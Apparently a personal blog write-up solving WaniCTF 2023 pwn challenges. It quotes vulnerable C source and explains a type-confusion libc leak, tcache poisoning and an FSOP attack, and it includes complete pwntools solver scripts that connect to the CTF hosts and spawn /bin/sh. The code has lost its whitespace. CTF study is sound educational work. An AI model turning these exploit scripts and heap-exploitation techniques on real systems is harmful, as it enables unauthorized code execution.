I spent some of my free time solving challenges from WaniCTF 2023 for practice. I solved all the pwn challenges, and here is a short write-up that I created for all of the pwn challenges that I solved.
Pwn
netcat
We only need to answer the math questions three times, and we will get the flag:
The bug is there is an null-byte overflow in the scanf("%8s", buf);, because buf size is 8, yet the scanf will append an extra null-byte on it, which means the total string that is being stored is 9 (and this will overwrite the chall value to 0).
It only breaks if the chall is equals to 0, but due to the null-byte overflow, the chall value will be -1, which mean we won’t exit from the while loop at all.
There is buffer overflow bug, but now we need to do ROP. Luckily, the binary has a lot of useful gadgets that we can use (We don’t need leak because the binary is No PIE). Generate a ROP Chain to call execve("/bin/sh").
#include<stdio.h>#include<stdlib.h>voidinit(){// alarm(600);
setbuf(stdin,NULL);setbuf(stdout,NULL);setbuf(stderr,NULL);}voidwin(){system("/bin/sh");}intmain(){charnope[20];init();while(strcmp(nope,"YES")){printf("You can't overwrite return address if canary is enabled.\nDo you ""agree with me? : ");scanf("%s",nope);printf(nope);}}
There is buffer overflow in scanf("%s", nope); and format string attack in printf(nope). The binary has a canary, so what we need to do:
There is buffer overflow bug, but there isn’t any win function. So the goal is to spawn a shell. Luckily, there is the show_stack feature, which mean we will get a libc leak. What we need to do is spawn a shell with one_gadget based on the given leak.
#include"utils.h"#include<stdio.h>#include<stdlib.h>commatimetable[5][5];voidprint_mandatory_subject();voidprint_elective_subject();voidregister_mandatory_class();voidregister_elective_class();voidprint_class_detail();voidwrite_memo();voidprint_menu();studentregister_student();studentuser;intmain(){init();user=register_student();inti;while(1){print_table(timetable);print_menu();scanf("%d",&i);switch(i){case1:register_mandatory_class();break;case2:register_elective_class();break;case3:print_class_detail();break;case4:write_memo();break;case5:exit(0);break;default:printf("invalid input\n");}}}voidprint_mandatory_subject(mandatory_subject*mandatory_subjects){printf("Class Name : %s\n",mandatory_subjects->name);printf("Class Time : %s\n",time_to_str(mandatory_subjects->time));printf("Class Target : %s > ",mandatory_subjects->target[0]);printf("%s > ",mandatory_subjects->target[1]);printf("%s > ",mandatory_subjects->target[2]);printf("%s \n",mandatory_subjects->target[3]);printf("Professor : %s\n",mandatory_subjects->professor);printf("Short Memo : %s\n",mandatory_subjects->memo);}voidprint_elective_subject(elective_subject*elective_subjects){printf("Class Name : %s\n",elective_subjects->name);printf("Class Time : %s\n",time_to_str(elective_subjects->time));printf("Professor : %s\n",elective_subjects->professor);printf("Short Memo : %s\n",elective_subjects->memo);}voidregister_mandatory_class(){inti;mandatory_subjectchoice;print_table(timetable);printf("-----Mandatory Class List-----\n");print_mandatory_list();printf(">");scanf("%d",&i);choice=mandatory_list[i];printf("%d\n",choice.time[0]);timetable[choice.time[0]][choice.time[1]].name=choice.name;timetable[choice.time[0]][choice.time[1]].type=MANDATORY_CLASS_CODE;timetable[choice.time[0]][choice.time[1]].detail=&mandatory_list[i];}voidregister_elective_class(){inti;elective_subjectchoice;print_table(timetable);printf("-----Elective Class List-----\n");print_elective_list();printf(">");scanf("%d",&i);choice=elective_list[i];if(choice.IsAvailable(&user)==1){timetable[choice.time[0]][choice.time[1]].name=choice.name;// The type of timetable is 0 by default since it is a global value.
timetable[choice.time[0]][choice.time[1]].detail=&elective_list[i];}else{printf("You can't register this class\n");}}voidprint_class_detail(){comma*choice=choose_time(timetable);if(choice->type==MANDATORY_CLASS_CODE){print_mandatory_subject(choice->detail);}elseif(choice->type==ELECTIVE_CLASS_CODE){print_elective_subject(choice->detail);}}voidwrite_memo(){comma*choice=choose_time(timetable);printf("WRITE MEMO FOR THE CLASS\n");if(choice->type==MANDATORY_CLASS_CODE){read(0,((mandatory_subject*)choice->detail)->memo,30);}elseif(choice->type==ELECTIVE_CLASS_CODE){read(0,((elective_subject*)choice->detail)->memo,30);}}voidprint_menu(){printf("1. Register Mandatory Class\n");printf("2. Register Elective Class\n");printf("3. See Class Detail\n");printf("4. Write Memo\n");printf("5. Exit\n");printf(">");}studentregister_student(){studentnew_student;printf("WELCOME TO THE TIME TABLE PROGRAM\n");printf("Enter your name : ");read(0,new_student.name,9);printf("Enter your student id : ");scanf("%d",&new_student.studentNumber);printf("Enter your major : ");scanf("%d",&new_student.EnglishScore);returnnew_student;}
Reading through the code, we notice that there is a bug in register_mandatory_class and register_elective_class, where the choice doesn’t have any bound checks. Observing in GDB, we notice that if we use index 4 during register_mandatory_class, it will points to the elective[1] object. Let’s compare the structure between mandatory and selective.
We can see that char memo[32] in elective was treated as char *target[4] by mandatory. So, if we set the memo (with write_memo feature) of elective[1] to one of the GOT entry, when we call the print_class_detail, due to the type confusion, the print_mandatory_subject will give us the libc address of the GOT that we set.
After we got the leak, notice that mandatory[1] is overlapping with elective[-3], where the elective[-3] stored function pointer of IsAvailable will be placed in the mandatory[1].memo[0x10]. If we call write_memo to mandatory[1] and set it to system, when we call register_elective_class, it will call choice.IsAvailable(&user), where the IsAvailable is actually the system address that we just write. We also control the user object, which we can set to /bin/sh\x00.
By doing the above steps, calling IsAvailable(&user) will be equivalent to system("/bin/sh").
frompwnimport*context.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")libc=ELF('./libc.so.6')exe=ELF('./chall')r=remote('timetable-pwn.wanictf.org',9008)defregister_mandatory(idx):r.sendlineafter(b'>',b'1')r.sendlineafter(b'>',str(idx).encode())defregister_elective(idx):r.sendlineafter(b'>',b'2')r.sendlineafter(b'>',str(idx).encode())defwrite_memo(date,val):r.sendlineafter(b'>',b'4')r.sendlineafter(b'>',date)r.sendafter(b'CLASS\n',val)defsee_class(date):r.sendlineafter(b'>',b'3')r.sendlineafter(b'>',date)r.recvuntil(b'Target : ')returnr.recvuntil(b'\nProf').strip()[:-5]r.sendlineafter(b'name : ',b'/bin/sh\x00')# Will be use as rdi during calling system# Set the value that satisfy the elective requirements defined in the const.hr.sendlineafter(b'id : ',b'2000')r.sendlineafter(b'major : ',b'100')# Get libc leak via type confusionregister_elective(1)payload=(p64(exe.got['atoi'])*4)[:30]write_memo(b'FRI 3',payload)# Type confusionregister_mandatory(4)# addrof(mandatory[4]) == addrof(elective[1])out=see_class(b'FRI 3')# Will print content of got[atoi]leaked_atoi=u64(out[:6].ljust(8,b'\x00'))libc.address=leaked_atoi-libc.symbols['atoi']log.info(f'libc base: {hex(libc.address)}')# Setup elective stored pointer to systemregister_mandatory(1)# Will overlap with elective[-3]payload=p64(libc.symbols['system'])*3# Overwrite elective[-3].IsAvailable to systemwrite_memo(b'FRI 3',payload)# This will call system("/bin/sh") during calling `choice.IsAvailable(&user)`register_elective(-3)r.interactive()
#include<stdio.h>#include<stdlib.h>#include<string.h>#define NOTE_LIST_LEN 16
#define MAX_NOTE_SIZE 4096
voidinit(){setvbuf(stdin,NULL,_IONBF,0);setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);alarm(180);}typedefstructnote{intsize;char*ptr;}note_t;note_tlist[NOTE_LIST_LEN];note_tcopied;voidmenu(){printf("\n---- memu ----\n");printf("1. create note\n");printf("2. show note\n");printf("3. copy note\n");printf("4. paste note\n");printf("5. delete note\n");printf("6. exit\n");printf("--------------\n\n");}intget_idx(){intidx;printf("index: ");if((scanf("%d",&idx)!=1)||idx<0||idx>=NOTE_LIST_LEN){printf("Invalid index!\n");return-1;}returnidx;}intget_size(){intsize;printf("size (0-%d): ",MAX_NOTE_SIZE);if((scanf("%d",&size)!=1)||size<0||size>MAX_NOTE_SIZE){printf("Invalid size!\n");return-1;}returnsize;}intis_empty(intidx){intf=(list[idx].ptr==NULL);if(f)printf("The note is empty!\n");returnf;}voidcreate(){intidx,size;if((idx=get_idx())==-1)return;if((size=get_size())==-1)return;list[idx].size=size;list[idx].ptr=(char*)malloc(list[idx].size);memset(list[idx].ptr,0,list[idx].size);printf("Enter your content: ");read(0,list[idx].ptr,list[idx].size);printf("Done!\n");}voidshow(){intidx;if((idx=get_idx())==-1)return;if(is_empty(idx))return;write(1,list[idx].ptr,list[idx].size);}voidcopy(){intidx;if((idx=get_idx())==-1)return;if(is_empty(idx))return;copied=list[idx];printf("Done!\n");}voidpaste(){intidx;note_tpasted;if((idx=get_idx())==-1)return;if(is_empty(idx))return;if(copied.ptr==NULL){printf("Please copy a note before pasting!\n");return;}pasted.size=list[idx].size+copied.size;if(pasted.size<0||pasted.size>MAX_NOTE_SIZE){printf("Invalid size!\nPaste failed!\n");return;}pasted.ptr=(char*)malloc(pasted.size);memset(pasted.ptr,0,pasted.size);sprintf(pasted.ptr,"%s%s",list[idx].ptr,copied.ptr);free(list[idx].ptr);list[idx]=pasted;printf("Done!\n");}voiddelete(){intidx;if((idx=get_idx())==-1)return;if(is_empty(idx))return;free(list[idx].ptr);list[idx].size=0;list[idx].ptr=NULL;printf("Done!\n");}intmain(){init();intc=0;while(1){menu();printf("your choice: ");scanf("%d",&c);if(c==1)create();elseif(c==2)show();elseif(c==3)copy();elseif(c==4)paste();elseif(c==5)delete();elseif(c==6)return0;elseprintf("Invalid choice!\n");scanf("%*[^\n]");// fflush stdin
}return0;}
The bug is in the copy method. The copy method will copy the list entry by value. So, if you call copy and then delete the entry, the copied will still hold pointer to the freed chunk. This leads to two bugs:
Use-After-Free
If you call copy, delete, and paste, the new chunk that is created with paste will contains the freed chunk metadata (Because the copied points to a freed chunk).
Heap-Overflow
You can mismatch the stored size in copied with the actual value that is being copied during paste. For example:
Suppose you call copy, and now copied.size is 0x10, and copied.ptr is A.
You delete it, and create a new chunk with size 0x20, and the newly created chunk was actually placed in A.
Now, when you call paste, the copied.size is still 0x10, but during calling the sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr);, the copied value is actually larger than 0x10.
First, we need to get heap and libc leak with the first bug.
To get a libc leak, copy and delete a chunk so that it went to unsorted bin. The chunk metadata will contains a libc address. Next, you call paste, and the new pasted chunk will contains the libc address.
To get heap leak, we can simply freed two chunks to the tcache, and ensure the copied.ptr pointing to the last free chunk. Next, you call paste, and the new pasted chunk will contains the mangled pointer of a heap address.
I decided to do FSOP attack to spawn a shell. So, after getting the leaks, our target would be poison the tcache so that it will points to the _IO_2_1_stderr_ address and we will get an allocated chunk placed in the _IO_2_1_stderr_ object.
We need to use the second bug, however it’s quite tricky due to the facts that sprintf will stop when it saw a null terminator. We only have heap overflow, meaning that suppose we have a chunk like this:
1
2
3
0x0000000000000000 0x0000000000000000 <- end of chunk A
0x0000000000000000 0x0000000000000101 <- start of chunk B
0x0012345679123456 0x0000000000000000
And we want to overwrite chunk B pointer with our desired value (For example: 0x5555555555555555). We only have the overflow bug, so when we try to overwrite chunk B pointer, the heap layout will be like this:
1
2
3
0x0101010101010101 0x0101010101010101 <- end of chunk A
0x0101010101010101 0x0101010101010101 <- start of chunk B
0x5555555555555555 0x0000000000000000
We sadly overwrite the chunk B size as well, which is not good. In order to fix that, we can use the fact that sprintf will always append a null byte terminator in the constructed string. So, imagine if we decrease the overflow string one by one, we will be able to clear up the chunk B bytes back to 0x00. Illustration:
1
2
3
4
5
6
7
Overflow string with size n-1
- 0x0101010101010101 will be changed to 0x0001010101010101
Overflow string with size n-2
- 0x0001010101010101 will be changed to 0x0000010101010101
- ...
Overflow string with size n-6
- 0x0000000000010101 will be changed to 0x0000000000000101
In order to do that, we need to have 7 chunks above the targeted chunk to do 7 times overflow (because we don’t have any edit feature). So imagine that the structure is like this
Overflow chunks-7 to overwrite chunks-8 next pointer to our desired value.
Fix chunks-8 size due to the previous write by:
Overflow chunks-6 to overwrite chunks-8.sizenth-bytes to 0.
Overflow chunks-5 to overwrite chunks-8.sizen-1th-bytes to 0.
Overflow chunks-4 to overwrite chunks-8.sizen-2th-bytes to 0.
…
Overflow chunks-1 to overwrite chunks-8.sizen-6th-bytes to 0.
I don’t have too much time to deep dive into this in detail, but I’ve tried to explain this in the solver script as clear as possible.
After we successfully fix the chunks, we can simply create two more chunks, and the last chunk will be placed to our desired target (which in this case, the _IO_2_1_stderr_).
After that, we can simply do the usual FSOP attack (I’ve explained it in this writeup1 and writeup2).
frompwnimport*exe=ELF("./chall_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-2.35.so")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="copy-paste-pwn.wanictf.org"remote_port=9009gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:# gdb.attach(r, gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrdefdemangle(val,is_heap_base=False):ifnotis_heap_base:mask=0xfff<<52whilemask:v=val&maskval^=(v>>12)mask>>=12returnvalreturnval<<12defmangle(heap_addr,val):return(heap_addr>>12)^valr=conn()defcreate(idx,size,value):r.sendlineafter(b'choice: ',b'1')r.sendlineafter(b'index: ',str(idx).encode())r.sendlineafter(b'): ',str(size).encode())r.sendafter(b'content: ',value)defshow(idx):r.sendlineafter(b'choice: ',b'2')r.sendlineafter(b'index: ',str(idx).encode())returnr.recvuntil(b'\n----').strip()[:-5]defcopy(idx):r.sendlineafter(b'choice: ',b'3')r.sendlineafter(b'index: ',str(idx).encode())defpaste(idx):r.sendlineafter(b'choice: ',b'4')r.sendlineafter(b'index: ',str(idx).encode())defdelete(idx):r.sendlineafter(b'choice: ',b'5')r.sendlineafter(b'index: ',str(idx).encode())defexit_program():r.sendlineafter(b'choice: ',b'6')# Libc leakcreate(0,0x20,b'a'*0x20)create(1,0x410,b'a'*0x410)create(2,0x20,b'a'*0x20)copy(1)delete(1)paste(2)out=show(2)leaked_libc=u64(out[0x20:0x28])log.info(f'leaked_libc: {hex(leaked_libc)}')libc.address=leaked_libc-(libc.symbols['main_arena']+1104)log.info(f'libc base: {hex(libc.address)}')create(1,0x410,b'a'*0x410)# Restore heap# Heap leakcopy(0)delete(0)create(3,0x30,b'a'*0x30)paste(3)out=show(3)leaked_heap=demangle(u64(out[0x30:0x38]))log.info(f'leaked_heap: {hex(leaked_heap)}')# Manipulate tcache ptr# Prepare a chunk for the copy feature, to create mismatch size and contentforiinrange(5,12):# Create chunks to fulfill the tcache latercreate(i,0x80,b'a'*0x80)# Setup the chunk that will be used to trigger the heap overflowcreate(4,0x80,b'a'*0x80)copy(4)foriinrange(5,12):# Fulfill tcache[0x90]delete(i)# Now, the list[4] will consolidate with the top chunk.# So now, copied.ptr is overlapping with top chunk.delete(4)# Now, copied.size is still 0x80, yet the contents length can be set to maximum 0xf00create(4,0xf00,b'a'*0x10)# Preparation to forge tcache mangled pointerforiinrange(5,14):create(i,0x90,b'a'*0x90)# Fulfill tcache[0xa0]. This will be used later by paste.foriinrange(5,14):delete(i)# This tcache chunks mangled pointer will be poisonedcreate(14,0xf0,b'a'*0x30)create(15,0xf0,b'a'*0x30)# Will be placed in tcache[0x100]delete(15)delete(14)# Notes that heap layout will be like below'''
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0x100]
'''# Set mangled _IO_2_1_stderr-0x10stderr_addr=libc.symbols['_IO_2_1_stderr_']-0x10mangled_stderr=mangle(leaked_heap+0x2000,stderr_addr)# Setup a chunk with size 0x10create(5,0x10,b'a'*0x8)# Setup the copied.ptr content to poison the chunks[14] next pointerdelete(4)create(4,0xf00,b'\x01'*0x98+p64(mangled_stderr))# When calling paste(5), it will allocate a new chunk with size# list[5].size + copied.size, which is 0x10 + 0x80 = 0x90.## Remember that we previously create and free chunks with size 0x90. The pasted chunk# will be placed on there, where the below chunk of it is chunks[14]paste(5)# After this, due to the overflow, the chunks[14] next pointer has been overwritten to stderr# Now, the problem is the overflow is overwriting the chunks[14] size as well (to 0x0101010101010101)# We need to fix it back, from 0x0101010101010101 to 0x0000000000000101# To clear the byte one by one, we need to do the overflow 6 times using the fact that# sprintf will always add a null-terminator to the constructed string, so that the process will be:# - 0x0101010101010101 to 0x0001010101010101# - 0x0001010101010101 to 0x0000010101010101# - ...# - 0x0000000000010101 to 0x0000000000000101foriinrange(6):create(5,0x10,b'a'*0x8)delete(4)create(4,0xf00,b'\x01'*(0xa0*(i+2)-(i+1)+0x8-0x10)+bytes([p64(0x21)[-(i+1)]]))# Remember the heap layout before, notice we still have a lot of tcache[0xa0] above# chunks[14]. So we can still overflow the chunks[14] (at most 6 times).paste(5)# Now that we have fixed the chunks[14] metadata, we can start do the FSOP attack.# Create fake wide_vtablefake_wide_vtable_addr=leaked_heap+0x1e70-0x68create(13,0x10,p64(libc.symbols['system']))# CReate fake wide_datafake_wide_data_addr=leaked_heap+0x1c70create(14,0xf0,p64(0)*(0xe0//8)+p64(fake_wide_vtable_addr))# Setup a fake stderr FILE structure# This allocation will overwrite _IO_2_1_stderr_fake_stderr=FileStructure(0)fake_stderr.flags=u64(b' sh\x00\x00\x00\x00')fake_stderr._IO_write_base=0fake_stderr._IO_write_ptr=0x1# _IO_write_ptr > _IO_write_basefake_stderr._wide_data=fake_wide_data_addrfake_stderr.vtable=libc.symbols['_IO_wfile_jumps']# Remember that we allocate in stderr-0x10, so don't forget to append 0x10 dummy bytes in front.fake_stderr_bytes=p64(0)*2+bytes(fake_stderr)create(15,0xf0,fake_stderr_bytes)# Exit, and it will trigger a shellexit_program()r.interactive()